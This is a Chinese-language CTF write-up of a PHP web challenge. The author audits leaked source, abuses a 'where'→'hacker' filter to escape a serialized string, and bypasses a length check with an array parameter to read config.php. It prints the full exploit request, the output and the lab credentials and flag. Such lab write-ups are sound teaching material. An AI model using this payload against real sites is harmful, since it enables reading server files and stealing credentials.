刚进来就一个登录框,尝试sql注入登录无果,用dirsearch扫目录,扫到其他路由

1
2
3
4
5
6
7
[16:33:33] 200 -     0B - /config.php
[16:33:46] 200 - 2B - /health
[16:33:56] 200 - 11B - /profile.php
[16:33:56] 200 - 797B - /register.php
[16:33:57] 200 - 46B - /robots.txt
[16:34:01] 200 - 11B - /update.php
[16:34:04] 200 - 392KB - /www.zip

有一个www.zip访问将其下载下来审计,在index.php中可以看到有username和password的长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$username = $_POST['username'];
$password = $_POST['password'];

if (strlen($username) < 3 or strlen($username) > 16) {
die('Invalid user name');
}

if (strlen($password) < 3 or strlen($password) > 16) {
die('Invalid password');
}

if ($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;

有调用login函数,这个函数的实现在class.php中,$user是一个user类的实例,根据这个长度限制和这个sql查找方式,sql注入在登录框是做不了什么了,还有一个register.php页面,我们正常注册账户,然后登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function login($username, $password)
{
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}

登录进去后可以看到只有一个更新用户信息的功能,对应源码是update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if (!preg_match('/^\d{11}$/', $_POST['phone'])) {
die('Invalid phone');
}

if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) {
die('Invalid email');
}

if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) {
die('Invalid nickname');
}

$file = $_FILES['photo'];
if ($file['size'] < 5 or $file['size'] > 1000000) {
die('Photo size error');
}

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
} else {

这里可以看到在更新信息后有一个正则判断,最特别的一个是nickname字段,允许所有字母和数字,但是有一个长度限制

后面就直接赋值给了数组,然后进行序列化,最后调用了user类的update_profile方法

1
2
3
4
5
6
7
8
9
public function update_profile($username, $new_profile)
{
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

在更新的过程中还进行了一次筛选,filter方法中有一个黑名单替换的操作

1
2
3
4
5
6
7
8
9
10
11
public function filter($string)
{
$escape = ['\'', '\\\\'];
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = ['select', 'insert', 'update', 'delete', 'where'];
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

我们注意所有在黑名单中的字符串都会被替换为hacker,hacker是有6个字符,而在黑名单中有一个where是5个字符,就是说这会导致序列化字符串的长度加一,所以这里存在字符串逃逸漏洞

而在profile.php中又有一个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

值得注意的是在profile.php中还有一个读文件的函数,内容还会被base64编码,如果可以控制是能读php文件的

而在config.php中可以看到flag就在哪里,这个题目就基本可以确定是通过nickname字段来进行反序列化来读config.php文件了

最后还有一个点就是nickname是有长度限制的,反序列化字符串基本不可能在10个字符串之内

这里可以采用数组类型来绕过strlen,也就是说我们需要让php后端将nickname解析成数组

用来覆盖的序列化字符串我们可以先预览一下

1
2
3
4
5
6
7
8
9
10
<?php

$profile['phone'] = "12345678901";
$profile['email'] = "1@qq.com";
$profile['nickname'] = ['lengkur'];
$profile['photo'] = 'config.php';

$one = serialize($profile);

echo $one;
1
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";a:1:{i:0;s:7:"lengkur";}s:5:"photo";s:10:"config.php";}

那我们用来覆盖的字符串就是这串了

1
";}s:5:"photo";s:10:"config.php";}

然后根据字符串的长度来决定在前面增加的where个数

1
2
3
4
5
6
7
8
9
10
$nickname = '";}s:5:"photo";s:10:"config.php";}';
$lennickname = strlen($nickname);
$n = 0;
for ($i = 0; $i < $lennickname; $i++) {
$nickname = 'where' . $nickname;
$n++;
}

echo $nickname;

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

请求包的body传,将nickname加一个中括号就可以被解析成数组了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
------WebKitFormBoundaryIX1cn5g6In5f1wM7
Content-Disposition: form-data; name="phone"

12345678901
------WebKitFormBoundaryIX1cn5g6In5f1wM7
Content-Disposition: form-data; name="email"

1@qq.com
------WebKitFormBoundaryIX1cn5g6In5f1wM7
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryIX1cn5g6In5f1wM7
Content-Disposition: form-data; name="photo"; filename="1.gif"
Content-Type: image/gif

12345
------WebKitFormBoundaryIX1cn5g6In5f1wM7--

然后访问profile.php,查看源码有一段base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdEQVNDVEZ7NWUxODg1YzktMTcwZC00NTVkLWEwYTgtNGNiNjI2YWQzZjhifSc7Cj8+Cg==" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi Array</h3>
<label>Phone: 12345678901</label>
<label>Email: 1@qq.com</label>
</div>
</body>
</html>

解码得到flag

1
2
3
4
5
6
7
8
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'DASCTF{5e1885c9-170d-455d-a0a8-4cb626ad3f8b}';
?>